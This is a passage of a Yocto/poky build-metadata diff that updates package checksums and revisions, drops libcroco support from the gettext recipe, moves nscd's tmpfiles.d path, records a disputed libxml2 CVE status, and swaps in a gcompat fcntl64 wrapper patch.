SRC_URI = "https://mirrors.edge.kernel.org/pub/linux/libs/${BPN}/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "531a980589c8954ff12a3110b4d958fa75a74c88ddcc3e2ace4317e76a7c1e9b"
+SRC_URI[sha256sum] = "370dc2b7c73cd57856017180a2a70a15ca1b0183bfd453b3cffe2d707c37da3d"
do_configure:prepend () {
mkdir -p ${S}/build-aux
diff --git a/poky/meta/recipes-core/gettext/gettext/use-pkgconfig.patch b/poky/meta/recipes-core/gettext/gettext/use-pkgconfig.patch
index c12e0d3b88..f1fb61de4e 100644
--- a/poky/meta/recipes-core/gettext/gettext/use-pkgconfig.patch
+++ b/poky/meta/recipes-core/gettext/gettext/use-pkgconfig.patch
@@ -15,14 +15,9 @@ Signed-off-by: Ross Burton <ross.burton@intel.com>
---
gettext-tools/gnulib-m4/libxml.m4 | 105 +----------------
- .../gnulib-local/lib/term-styled-ostream.oo.c | 12 +-
- libtextstyle/gnulib-local/m4/libcroco.m4 | 98 +++-------------
libtextstyle/gnulib-local/m4/libglib.m4 | 106 +++---------------
- libtextstyle/gnulib-m4/libcroco.m4 | 98 +++-------------
libtextstyle/gnulib-m4/libglib.m4 | 106 +++---------------
- libtextstyle/lib/term-styled-ostream.c | 12 +-
- libtextstyle/lib/term-styled-ostream.oo.c | 12 +-
- 8 files changed, 79 insertions(+), 470 deletions(-)
+ 3 files changed, 79 insertions(+), 470 deletions(-)
diff --git a/gettext-tools/gnulib-m4/libxml.m4 b/gettext-tools/gnulib-m4/libxml.m4
index 0340490..0355388 100644
@@ -147,149 +142,6 @@ index 0340490..0355388 100644
fi
])
AC_SUBST([LIBXML])
-diff --git a/libtextstyle/gnulib-local/lib/term-styled-ostream.oo.c b/libtextstyle/gnulib-local/lib/term-styled-ostream.oo.c
-index 2ff978f..5ffb17a 100644
---- a/libtextstyle/gnulib-local/lib/term-styled-ostream.oo.c
-+++ b/libtextstyle/gnulib-local/lib/term-styled-ostream.oo.c
-@@ -22,15 +22,15 @@
-
- #include <stdlib.h>
-
--#include <cr-om-parser.h>
--#include <cr-sel-eng.h>
--#include <cr-style.h>
--#include <cr-rgb.h>
-+#include <libcroco/cr-om-parser.h>
-+#include <libcroco/cr-sel-eng.h>
-+#include <libcroco/cr-style.h>
-+#include <libcroco/cr-rgb.h>
- /* <cr-fonts.h> has a broken double-inclusion guard in libcroco-0.6.1. */
- #ifndef __CR_FONTS_H__
--# include <cr-fonts.h>
-+# include <libcroco/cr-fonts.h>
- #endif
--#include <cr-string.h>
-+#include <libcroco/cr-string.h>
-
- #include "term-ostream.h"
- #include "mem-hash-map.h"
-diff --git a/libtextstyle/gnulib-local/m4/libcroco.m4 b/libtextstyle/gnulib-local/m4/libcroco.m4
-index 39e72b1..042915a 100644
---- a/libtextstyle/gnulib-local/m4/libcroco.m4
-+++ b/libtextstyle/gnulib-local/m4/libcroco.m4
-@@ -6,97 +6,29 @@ dnl with or without modifications, as long as this notice is preserved.
-
- dnl From Bruno Haible.
-
--dnl gl_LIBCROCO
--dnl gives the user the option to decide whether to use the included or
--dnl an external libcroco.
--dnl gl_LIBCROCO(FORCE-INCLUDED)
--dnl forces the use of the included or an external libcroco.
- AC_DEFUN([gl_LIBCROCO],
- [
-- ifelse([$1], [yes], , [
-- dnl libcroco depends on libglib.
-- AC_REQUIRE([gl_LIBGLIB])
-- ])
-+ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
-+ dnl libcroco depends on libglib.
-+ AC_REQUIRE([gl_LIBGLIB])
-
-- ifelse([$1], , [
-- AC_MSG_CHECKING([whether included libcroco is requested])
-- AC_ARG_WITH([included-libcroco],
-- [ --with-included-libcroco use the libcroco included here],
-- [gl_cv_libcroco_force_included=$withval],
-- [gl_cv_libcroco_force_included=no])
-- AC_MSG_RESULT([$gl_cv_libcroco_force_included])
-- ], [gl_cv_libcroco_force_included=$1])
-+ AC_MSG_CHECKING([whether included libcroco is requested])
-+ AC_ARG_WITH([included-libcroco],
-+ [ --with-included-libcroco use the libcroco included here],
-+ [gl_cv_libcroco_force_included=$withval],
-+ [gl_cv_libcroco_force_included=no])
-+ AC_MSG_RESULT([$gl_cv_libcroco_force_included])
-
- gl_cv_libcroco_use_included="$gl_cv_libcroco_force_included"
- LIBCROCO=
- LTLIBCROCO=
- INCCROCO=
-- ifelse([$1], [yes], , [
-- if test "$gl_cv_libcroco_use_included" != yes; then
-- dnl Figure out whether we can use a preinstalled libcroco-0.6, or have to
-- dnl use the included one.
-- AC_CACHE_VAL([gl_cv_libcroco], [
-- gl_cv_libcroco=no
-- gl_cv_LIBCROCO=
-- gl_cv_LTLIBCROCO=
-- gl_cv_INCCROCO=
-- gl_save_LIBS="$LIBS"
-- dnl Search for libcroco and define LIBCROCO_0_6, LTLIBCROCO_0_6 and
-- dnl INCCROCO_0_6 accordingly.
-- dnl Don't use croco-0.6-config nor pkg-config, since it doesn't work when
-- dnl cross-compiling or when the C compiler in use is different from the
-- dnl one that built the library.
-- AC_LIB_LINKFLAGS_BODY([croco-0.6], [glib-2.0])
-- LIBS="$gl_save_LIBS $LIBCROCO_0_6"
-- AC_LINK_IFELSE(
-- [AC_LANG_PROGRAM([[#include <libcroco-config.h>]],
-- [[const char *version = LIBCROCO_VERSION; return !version;]])],
-- [gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- ])
-- if test "$gl_cv_libcroco" != yes; then
-- gl_save_CPPFLAGS="$CPPFLAGS"
-- CPPFLAGS="$CPPFLAGS $INCCROCO_0_6"
-- AC_LINK_IFELSE(
-- [AC_LANG_PROGRAM([[#include <libcroco-config.h>]],
-- [[const char *version = LIBCROCO_VERSION; return !version;]])],
-- [gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- gl_cv_INCCROCO="$INCCROCO_0_6"
-- ])
-- if test "$gl_cv_libcroco" != yes; then
-- dnl Often the include files are installed in
-- dnl /usr/include/libcroco-0.6/libcroco.
-- AC_LINK_IFELSE(
-- [AC_LANG_PROGRAM([[#include <libcroco-config.h>]],
-- [[const char *version = LIBCROCO_VERSION; return !version;]])],
-- [gl_ABSOLUTE_HEADER([libcroco-0.6/libcroco/libcroco-config.h])
-- libcroco_include_dir=`echo "$gl_cv_absolute_libcroco_0_6_libcroco_libcroco_config_h" | sed -e 's,.libcroco-config\.h$,,'`
-- if test -d "$libcroco_include_dir"; then
-- gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- gl_cv_INCCROCO="-I$libcroco_include_dir"
-- fi
-- ])
-- fi
-- CPPFLAGS="$gl_save_CPPFLAGS"
-- fi
-- LIBS="$gl_save_LIBS"
-- ])
-- AC_MSG_CHECKING([for libcroco])
-- AC_MSG_RESULT([$gl_cv_libcroco])
-- if test $gl_cv_libcroco = yes; then
-- LIBCROCO="$gl_cv_LIBCROCO"
-- LTLIBCROCO="$gl_cv_LTLIBCROCO"
-- INCCROCO="$gl_cv_INCCROCO"
-- else
-- gl_cv_libcroco_use_included=yes
-- fi
-- fi
-- ])
-+ if test "$gl_cv_libcroco_use_included" != yes; then
-+ PKG_CHECK_MODULES([CROCO], [libcroco-0.6])
-+ LIBCROCO=$CROCO_LIBS
-+ LTLIBCROCO=$CROCO_LIBS
-+ INCCROCO=$CROCO_CFLAGS
-+ fi
- AC_SUBST([LIBCROCO])
- AC_SUBST([LTLIBCROCO])
- AC_SUBST([INCCROCO])
diff --git a/libtextstyle/gnulib-local/m4/libglib.m4 b/libtextstyle/gnulib-local/m4/libglib.m4
index 7ee5029..bb1e5e4 100644
--- a/libtextstyle/gnulib-local/m4/libglib.m4
@@ -414,123 +266,6 @@ index 7ee5029..bb1e5e4 100644
AC_SUBST([LIBGLIB])
AC_SUBST([LTLIBGLIB])
AC_SUBST([INCGLIB])
-diff --git a/libtextstyle/gnulib-m4/libcroco.m4 b/libtextstyle/gnulib-m4/libcroco.m4
-index 39e72b1..042915a 100644
---- a/libtextstyle/gnulib-m4/libcroco.m4
-+++ b/libtextstyle/gnulib-m4/libcroco.m4
-@@ -6,97 +6,29 @@ dnl with or without modifications, as long as this notice is preserved.
-
- dnl From Bruno Haible.
-
--dnl gl_LIBCROCO
--dnl gives the user the option to decide whether to use the included or
--dnl an external libcroco.
--dnl gl_LIBCROCO(FORCE-INCLUDED)
--dnl forces the use of the included or an external libcroco.
- AC_DEFUN([gl_LIBCROCO],
- [
-- ifelse([$1], [yes], , [
-- dnl libcroco depends on libglib.
-- AC_REQUIRE([gl_LIBGLIB])
-- ])
-+ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
-+ dnl libcroco depends on libglib.
-+ AC_REQUIRE([gl_LIBGLIB])
-
-- ifelse([$1], , [
-- AC_MSG_CHECKING([whether included libcroco is requested])
-- AC_ARG_WITH([included-libcroco],
-- [ --with-included-libcroco use the libcroco included here],
-- [gl_cv_libcroco_force_included=$withval],
-- [gl_cv_libcroco_force_included=no])
-- AC_MSG_RESULT([$gl_cv_libcroco_force_included])
-- ], [gl_cv_libcroco_force_included=$1])
-+ AC_MSG_CHECKING([whether included libcroco is requested])
-+ AC_ARG_WITH([included-libcroco],
-+ [ --with-included-libcroco use the libcroco included here],
-+ [gl_cv_libcroco_force_included=$withval],
-+ [gl_cv_libcroco_force_included=no])
-+ AC_MSG_RESULT([$gl_cv_libcroco_force_included])
-
- gl_cv_libcroco_use_included="$gl_cv_libcroco_force_included"
- LIBCROCO=
- LTLIBCROCO=
- INCCROCO=
-- ifelse([$1], [yes], , [
-- if test "$gl_cv_libcroco_use_included" != yes; then
-- dnl Figure out whether we can use a preinstalled libcroco-0.6, or have to
-- dnl use the included one.
-- AC_CACHE_VAL([gl_cv_libcroco], [
-- gl_cv_libcroco=no
-- gl_cv_LIBCROCO=
-- gl_cv_LTLIBCROCO=
-- gl_cv_INCCROCO=
-- gl_save_LIBS="$LIBS"
-- dnl Search for libcroco and define LIBCROCO_0_6, LTLIBCROCO_0_6 and
-- dnl INCCROCO_0_6 accordingly.
-- dnl Don't use croco-0.6-config nor pkg-config, since it doesn't work when
-- dnl cross-compiling or when the C compiler in use is different from the
-- dnl one that built the library.
-- AC_LIB_LINKFLAGS_BODY([croco-0.6], [glib-2.0])
-- LIBS="$gl_save_LIBS $LIBCROCO_0_6"
-- AC_LINK_IFELSE(
-- [AC_LANG_PROGRAM([[#include <libcroco-config.h>]],
-- [[const char *version = LIBCROCO_VERSION; return !version;]])],
-- [gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- ])
-- if test "$gl_cv_libcroco" != yes; then
-- gl_save_CPPFLAGS="$CPPFLAGS"
-- CPPFLAGS="$CPPFLAGS $INCCROCO_0_6"
-- AC_LINK_IFELSE(
-- [AC_LANG_PROGRAM([[#include <libcroco-config.h>]],
-- [[const char *version = LIBCROCO_VERSION; return !version;]])],
-- [gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- gl_cv_INCCROCO="$INCCROCO_0_6"
-- ])
-- if test "$gl_cv_libcroco" != yes; then
-- dnl Often the include files are installed in
-- dnl /usr/include/libcroco-0.6/libcroco.
-- AC_LINK_IFELSE(
-- [AC_LANG_PROGRAM([[#include <libcroco-config.h>]],
-- [[const char *version = LIBCROCO_VERSION; return !version;]])],
-- [gl_ABSOLUTE_HEADER([libcroco-0.6/libcroco/libcroco-config.h])
-- libcroco_include_dir=`echo "$gl_cv_absolute_libcroco_0_6_libcroco_libcroco_config_h" | sed -e 's,.libcroco-config\.h$,,'`
-- if test -d "$libcroco_include_dir"; then
-- gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- gl_cv_INCCROCO="-I$libcroco_include_dir"
-- fi
-- ])
-- fi
-- CPPFLAGS="$gl_save_CPPFLAGS"
-- fi
-- LIBS="$gl_save_LIBS"
-- ])
-- AC_MSG_CHECKING([for libcroco])
-- AC_MSG_RESULT([$gl_cv_libcroco])
-- if test $gl_cv_libcroco = yes; then
-- LIBCROCO="$gl_cv_LIBCROCO"
-- LTLIBCROCO="$gl_cv_LTLIBCROCO"
-- INCCROCO="$gl_cv_INCCROCO"
-- else
-- gl_cv_libcroco_use_included=yes
-- fi
-- fi
-- ])
-+ if test "$gl_cv_libcroco_use_included" != yes; then
-+ PKG_CHECK_MODULES([CROCO], [libcroco-0.6])
-+ LIBCROCO=$CROCO_LIBS
-+ LTLIBCROCO=$CROCO_LIBS
-+ INCCROCO=$CROCO_CFLAGS
-+ fi
- AC_SUBST([LIBCROCO])
- AC_SUBST([LTLIBCROCO])
- AC_SUBST([INCCROCO])
diff --git a/libtextstyle/gnulib-m4/libglib.m4 b/libtextstyle/gnulib-m4/libglib.m4
index 7ee5029..bb1e5e4 100644
--- a/libtextstyle/gnulib-m4/libglib.m4
@@ -655,55 +390,3 @@ index 7ee5029..bb1e5e4 100644
AC_SUBST([LIBGLIB])
AC_SUBST([LTLIBGLIB])
AC_SUBST([INCGLIB])
-diff --git a/libtextstyle/lib/term-styled-ostream.c b/libtextstyle/lib/term-styled-ostream.c
-index 5484800..16793fa 100644
---- a/libtextstyle/lib/term-styled-ostream.c
-+++ b/libtextstyle/lib/term-styled-ostream.c
-@@ -28,15 +28,15 @@
-
- #include <stdlib.h>
-
--#include <cr-om-parser.h>
--#include <cr-sel-eng.h>
--#include <cr-style.h>
--#include <cr-rgb.h>
-+#include <libcroco/cr-om-parser.h>
-+#include <libcroco/cr-sel-eng.h>
-+#include <libcroco/cr-style.h>
-+#include <libcroco/cr-rgb.h>
- /* <cr-fonts.h> has a broken double-inclusion guard in libcroco-0.6.1. */
- #ifndef __CR_FONTS_H__
--# include <cr-fonts.h>
-+# include <libcroco/cr-fonts.h>
- #endif
--#include <cr-string.h>
-+#include <libcroco/cr-string.h>
-
- #include "term-ostream.h"
- #include "mem-hash-map.h"
-diff --git a/libtextstyle/lib/term-styled-ostream.oo.c b/libtextstyle/lib/term-styled-ostream.oo.c
-index 2ff978f..5ffb17a 100644
---- a/libtextstyle/lib/term-styled-ostream.oo.c
-+++ b/libtextstyle/lib/term-styled-ostream.oo.c
-@@ -22,15 +22,15 @@
-
- #include <stdlib.h>
-
--#include <cr-om-parser.h>
--#include <cr-sel-eng.h>
--#include <cr-style.h>
--#include <cr-rgb.h>
-+#include <libcroco/cr-om-parser.h>
-+#include <libcroco/cr-sel-eng.h>
-+#include <libcroco/cr-style.h>
-+#include <libcroco/cr-rgb.h>
- /* <cr-fonts.h> has a broken double-inclusion guard in libcroco-0.6.1. */
- #ifndef __CR_FONTS_H__
--# include <cr-fonts.h>
-+# include <libcroco/cr-fonts.h>
- #endif
--#include <cr-string.h>
-+#include <libcroco/cr-string.h>
-
- #include "term-ostream.h"
- #include "mem-hash-map.h"
diff --git a/poky/meta/recipes-core/gettext/gettext_0.22.bb b/poky/meta/recipes-core/gettext/gettext_0.22.bb
index f5290ac0e4..75474c8c30 100644
--- a/poky/meta/recipes-core/gettext/gettext_0.22.bb
+++ b/poky/meta/recipes-core/gettext/gettext_0.22.bb
@@ -10,8 +10,6 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e"
# without libxml in PACKAGECONFIG vendor copy of the lib will be used
LICENSE:append = " ${@bb.utils.contains('PACKAGECONFIG', 'libxml', '', '& MIT', d)}"
LIC_FILES_CHKSUM:append = " ${@bb.utils.contains('PACKAGECONFIG', 'libxml', '', 'file://libtextstyle/lib/libxml/COPYING;md5=2044417e2e5006b65a8b9067b683fcf1', d)}"
-# without croco in PACKAGECONFIG vendor copy of the lib will be used
-LIC_FILES_CHKSUM:append = " ${@bb.utils.contains('PACKAGECONFIG', 'croco', '', 'file://libtextstyle/lib/libcroco/libcroco.h;md5=424013a9ed5401aa58cf83f3188c6865;beginline=10;endline=28', d)}"
# without glib in PACKAGECONFIG vendor copy of the lib will be used
LIC_FILES_CHKSUM:append = " ${@bb.utils.contains('PACKAGECONFIG', 'glib', '', 'file://libtextstyle/lib/glib/ghash.c;md5=e3159f5ac38dfe77af5cc0ee104dab2d;beginline=10;endline=27', d)}"
@@ -44,6 +42,7 @@ EXTRA_OECONF += "--without-lispdir \
--without-emacs \
--without-cvs \
--without-git \
+ --without-included-libcroco \
--cache-file=${B}/config.cache \
"
EXTRA_OECONF:append:class-target = " \
@@ -54,11 +53,10 @@ EXTRA_OECONF:append:class-target = " \
gt_cv_locale_de=de_DE.ISO-8859-1 \
"
-PACKAGECONFIG ??= "croco glib libxml"
+PACKAGECONFIG ??= "glib libxml"
PACKAGECONFIG:class-native = ""
PACKAGECONFIG:class-nativesdk = ""
-PACKAGECONFIG[croco] = "--without-included-libcroco,--with-included-libcroco,libcroco"
PACKAGECONFIG[glib] = "--without-included-glib,--with-included-glib,glib-2.0"
PACKAGECONFIG[libxml] = "--without-included-libxml,--with-included-libxml,libxml2"
# Need paths here to avoid host contamination but this can cause RPATH warnings
diff --git a/poky/meta/recipes-core/glib-2.0/glib-2.0_2.78.0.bb b/poky/meta/recipes-core/glib-2.0/glib-2.0_2.78.1.bb
index 500e4e873e..a490262112 100644
--- a/poky/meta/recipes-core/glib-2.0/glib-2.0_2.78.0.bb
+++ b/poky/meta/recipes-core/glib-2.0/glib-2.0_2.78.1.bb
@@ -19,7 +19,7 @@ SRC_URI:append:class-native = " file://relocate-modules.patch \
file://0001-meson.build-do-not-enable-pidfd-features-on-native-g.patch \
"
-SRC_URI[sha256sum] = "44eaab8b720877ce303c5540b657b126f12dc94972d9880b52959f43fb537b30"
+SRC_URI[sha256sum] = "915bc3d0f8507d650ead3832e2f8fb670fce59aac4d7754a7dab6f1e6fed78b2"
# Find any meson cross files in FILESPATH that are relevant for the current
# build (using siteinfo) and add them to EXTRA_OEMESON.
diff --git a/poky/meta/recipes-core/glib-2.0/glib.inc b/poky/meta/recipes-core/glib-2.0/glib.inc
index b946e798bb..cec06b2f88 100644
--- a/poky/meta/recipes-core/glib-2.0/glib.inc
+++ b/poky/meta/recipes-core/glib-2.0/glib.inc
@@ -57,11 +57,6 @@ FILES:${PN} = "${libdir}/lib*${SOLIBS} \
${datadir}/glib-2.0/dtds \
${datadir}/glib-2.0/schemas"
-FILES:${PN}-utils += "${bindir}/glib-genmarshal \
- ${bindir}/glib-gettextize \
- ${bindir}/glib-mkenums \
- ${bindir}/glib-compile-resources"
-
FILES:${PN}-dev += "${libdir}/glib-2.0/include \
${libdir}/gio/modules/lib*${SOLIBSDEV} \
${libdir}/gio/modules/*.la \
diff --git a/poky/meta/recipes-core/glib-networking/glib-networking_2.76.1.bb b/poky/meta/recipes-core/glib-networking/glib-networking_2.76.1.bb
index 3687123141..0f8822e160 100644
--- a/poky/meta/recipes-core/glib-networking/glib-networking_2.76.1.bb
+++ b/poky/meta/recipes-core/glib-networking/glib-networking_2.76.1.bb
@@ -27,7 +27,6 @@ PACKAGECONFIG[libproxy] = "-Dlibproxy=enabled,-Dlibproxy=disabled,libproxy"
PACKAGECONFIG[tests] = "-Dinstalled_tests=true,-Dinstalled_tests=false"
PACKAGECONFIG[gnomeproxy] = "-Dgnome_proxy=enabled,-Dgnome_proxy=disabled,gsettings-desktop-schemas"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gettext upstream-version-is-even gio-module-cache ptest-gnome
SRC_URI += "file://run-ptest"
diff --git a/poky/meta/recipes-core/glibc/glibc-package.inc b/poky/meta/recipes-core/glibc/glibc-package.inc
index 1d4e4c5274..1ef987be0a 100644
--- a/poky/meta/recipes-core/glibc/glibc-package.inc
+++ b/poky/meta/recipes-core/glibc/glibc-package.inc
@@ -42,7 +42,7 @@ FILES_SOLIBSDEV = "${libdir}/lib*${SOLIBSDEV}"
FILES:${PN}-dev += "${libdir}/libpthread.a ${libdir}/libdl.a ${libdir}/libutil.a ${libdir}/libanl.a ${libdir}/*_nonshared.a ${base_libdir}/*_nonshared.a ${base_libdir}/*.o ${datadir}/aclocal"
RDEPENDS:${PN}-dev = "linux-libc-headers-dev"
FILES:${PN}-staticdev += "${libdir}/*.a ${base_libdir}/*.a"
-FILES:nscd = "${sbindir}/nscd* ${sysconfdir}/init.d/nscd ${systemd_system_unitdir}/nscd* ${sysconfdir}/tmpfiles.d/nscd.conf \
+FILES:nscd = "${sbindir}/nscd* ${sysconfdir}/init.d/nscd ${systemd_system_unitdir}/nscd* ${nonarch_libdir}/tmpfiles.d/nscd.conf \
${sysconfdir}/nscd.conf ${sysconfdir}/default/volatiles/98_nscd ${localstatedir}/db/nscd"
FILES:${PN}-mtrace = "${bindir}/mtrace"
FILES:tzcode = "${bindir}/tzselect ${sbindir}/zic ${bindir}/zdump"
@@ -132,9 +132,9 @@ def get_libc_fpu_setting(bb, d):
do_install:append:class-target() {
if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/tmpfiles.d
+ install -d ${D}${nonarch_libdir}/tmpfiles.d
echo "d /run/nscd 755 root root -" \
- > ${D}${sysconfdir}/tmpfiles.d/nscd.conf
+ > ${D}${nonarch_libdir}/tmpfiles.d/nscd.conf
fi
if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
@@ -280,7 +280,7 @@ python populate_packages:prepend () {
pkg_postinst:nscd () {
if [ -z "$D" ]; then
if command -v systemd-tmpfiles >/dev/null; then
- systemd-tmpfiles --create ${sysconfdir}/tmpfiles.d/nscd.conf
+ systemd-tmpfiles --create ${nonarch_libdir}/tmpfiles.d/nscd.conf
elif [ -e ${sysconfdir}/init.d/populate-volatile.sh ]; then
${sysconfdir}/init.d/populate-volatile.sh update
fi
diff --git a/poky/meta/recipes-core/images/build-appliance-image_15.0.0.bb b/poky/meta/recipes-core/images/build-appliance-image_15.0.0.bb
index 0394afc7e8..b4281ecf00 100644
--- a/poky/meta/recipes-core/images/build-appliance-image_15.0.0.bb
+++ b/poky/meta/recipes-core/images/build-appliance-image_15.0.0.bb
@@ -26,7 +26,7 @@ inherit core-image setuptools3 features_check
REQUIRED_DISTRO_FEATURES += "xattr"
-SRCREV ?= "71faadedb96a15a0748552b00dec032649adb71f"
+SRCREV ?= "dc262335f9e002bcfd84a71d41874beebdd84e9a"
SRC_URI = "git://git.yoctoproject.org/poky;branch=master \
file://Yocto_Build_Appliance.vmx \
file://Yocto_Build_Appliance.vmxf \
diff --git a/poky/meta/recipes-core/libxml/libxml2_2.11.5.bb b/poky/meta/recipes-core/libxml/libxml2_2.11.5.bb
index 4cf6dd09a9..319833f053 100644
--- a/poky/meta/recipes-core/libxml/libxml2_2.11.5.bb
+++ b/poky/meta/recipes-core/libxml/libxml2_2.11.5.bb
@@ -11,6 +11,7 @@ LIC_FILES_CHKSUM = "file://Copyright;md5=2044417e2e5006b65a8b9067b683fcf1 \
DEPENDS = "zlib virtual/libiconv"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase
SRC_URI += "http://www.w3.org/XML/Test/xmlts20130923.tar;subdir=${BP};name=testtar \
@@ -21,6 +22,9 @@ SRC_URI += "http://www.w3.org/XML/Test/xmlts20130923.tar;subdir=${BP};name=testt
SRC_URI[archive.sha256sum] = "3727b078c360ec69fa869de14bd6f75d7ee8d36987b071e6928d4720a28df3a6"
SRC_URI[testtar.sha256sum] = "c6b2d42ee50b8b236e711a97d68e6c4b5c8d83e69a2be4722379f08702ea7273"
+# Disputed as a security issue, but fixed in d39f780
+CVE_STATUS[CVE-2023-45322] = "disputed: issue requires memory allocation to fail"
+
BINCONFIG = "${bindir}/xml2-config"
PACKAGECONFIG ??= "python \
diff --git a/poky/meta/recipes-core/musl/gcompat/0001-Add-fcntl64-wrapper.patch b/poky/meta/recipes-core/musl/gcompat/0001-Add-fcntl64-wrapper.patch
new file mode 100644
index 0000000000..3f265e273a
--- /dev/null
+++ b/poky/meta/recipes-core/musl/gcompat/0001-Add-fcntl64-wrapper.patch
@@ -0,0 +1,44 @@
+From 37f70f54c74c4ceeb089cbee88311ba00638f211 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 13 Oct 2023 21:02:23 -0700
+Subject: [PATCH] Add fcntl64 wrapper
+
+fixes loadtime errors with pvr precompiled driver for visionfive2
+
+load libpvr_dri_support.so: Error relocating /usr/lib/libpvr_dri_support.so: fcntl64: symbol not found
+
+Upstream-Status: Submitted [https://git.adelielinux.org/adelie/gcompat/-/merge_requests/28]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libgcompat/unistd.c | 11 +++++++++++
+ 1 file changed, 11 insertions(+)
+
+diff --git a/libgcompat/unistd.c b/libgcompat/unistd.c
+index 011fba2..400abf3 100644
+--- a/libgcompat/unistd.c
++++ b/libgcompat/unistd.c
+@@ -1,6 +1,7 @@
+ #include <assert.h> /* assert */
+ #include <fcntl.h> /* O_CREAT */
+ #include <limits.h> /* NGROUPS_MAX */
++#include <stdarg.h> /* va_list, va_start, va_end */
+ #include <stddef.h> /* NULL, size_t */
+ #include <unistd.h> /* confstr, getcwd, getgroups, ... */
+ #include <errno.h> /* ENOSYS, ENOMEM */
+@@ -250,3 +251,13 @@ int __close(int fd)
+ {
+ return close(fd);
+ }
++
++int fcntl64 (int fd, int cmd, ...)
++{
++ int ret;
++ va_list ap;
++ va_start(ap, cmd);
++ ret = fcntl(fd, cmd, ap);
++ va_end(ap);
++ return ret;
++}
+--
+2.42.0
+
diff --git a/poky/meta/recipes-core/musl/gcompat/0001-auxv-new-module.patch b/poky/meta/recipes-core/musl/gcompat/0001-auxv-new-module.patch
deleted file mode 100644
index ee292f3841..0000000000
--- a/poky/meta/recipes-core/musl/gcompat/0001-auxv-new-module.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-From aecd42801904462501a890d173648e4e826eda19 Mon Sep 17 00:00:00 2001
-From: "A. Wilcox" <AWilcox@Wilcox-Tech.com>
-Date: Sat, 23 Oct 2021 23:29:40 -0500
-Subject: [PATCH] auxv: new module
-
-Adds `__getauxval` wrapper, needed for Parallels Tools GUI installer.
-
-Upstream-Status: Submitted [https://git.adelielinux.org/adelie/gcompat/-/commit/e860a38a88c7ea148ee15976136a1f83ea13f8e0]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- CHANGELOG.rst | 5 +++++
- Makefile | 1 +
- libgcompat/auxv.c | 6 ++++++
- 3 files changed, 12 insertions(+)
- create mode 100644 libgcompat/auxv.c
-
-diff --git a/CHANGELOG.rst b/CHANGELOG.rst
-index ce6859b..c3a9cee 100644
---- a/CHANGELOG.rst
-+++ b/CHANGELOG.rst
-@@ -11,6 +11,11 @@
- 1.1 (202?-??-??)
- ================
-
-+auxv
-+----
-+
-+* Add __getauxval wrapper for getauxval.
-+
- locale
- ------
-
-diff --git a/Makefile b/Makefile
-index cbb7634..1893cc1 100644
---- a/Makefile
-+++ b/Makefile
-@@ -2,6 +2,7 @@ LIBGCOMPAT_INCLUDE = \
- libgcompat/alias.h \
- libgcompat/internal.h
- LIBGCOMPAT_SRC = \
-+ libgcompat/auxv.c \
- libgcompat/ctype.c \
- libgcompat/cxx_thread.c \
- libgcompat/dlfcn.c \
-diff --git a/libgcompat/auxv.c b/libgcompat/auxv.c
-new file mode 100644
-index 0000000..01de376
---- /dev/null
-+++ b/libgcompat/auxv.c
-@@ -0,0 +1,6 @@
-+#include <sys/auxv.h> /* getauxval */
-+
-+unsigned long __getauxval(unsigned long value)
-+{
-+ return getauxval(value);
-+}
---
-2.37.3
-
diff --git a/poky/meta/recipes-core/musl/gcompat_git.bb b/poky/meta/recipes-core/musl/gcompat_git.bb
index ba802e3caa..40fe8c6a5f 100644
--- a/poky/meta/recipes-core/musl/gcompat_git.bb
+++ b/poky/meta/recipes-core/musl/gcompat_git.bb
@@ -5,16 +5,16 @@ SUMMARY = "A library which provides glibc-compatible APIs for use on musl libc s
HOMEPAGE = "https://git.adelielinux.org/adelie/gcompat"
LICENSE = "NCSA"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=eb33ef4af05a9c7602843afb7adfe792"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=802b1aed7330d90086be4de63a3188e3"
SRC_URI = "git://git.adelielinux.org/adelie/gcompat.git;protocol=https;branch=current \
- file://0001-auxv-new-module.patch \
+ file://0001-Add-fcntl64-wrapper.patch \
"
SRC_URI:append:powerpc = "\
file://0001-make-Static-PIE-does-not-work-on-musl-ppc.patch \
"
-PV = "1.0.0+1.1+git"
-SRCREV = "c6921a1aa454bb87671f9bd1ecfe47d80d1620aa"
+PV = "1.1.0"
+SRCREV = "b7bfe0b08c52fdc72e0c1d9d4dcb2129f1642bd6"
S = "${WORKDIR}/git"
diff --git a/poky/meta/recipes-core/ovmf/ovmf_git.bb b/poky/meta/recipes-core/ovmf/ovmf_git.bb
index 6bbe21ac5c..3dc031d3b6 100644
--- a/poky/meta/recipes-core/ovmf/ovmf_git.bb
+++ b/poky/meta/recipes-core/ovmf/ovmf_git.bb
@@ -122,7 +122,7 @@ fix_toolchain:append:class-native() {
# --debug-prefix-map to nasm (we carry a patch to nasm for this). The
# tools definitions are built by ovmf-native so we need to pass this in
# at target build time when we know the right values.
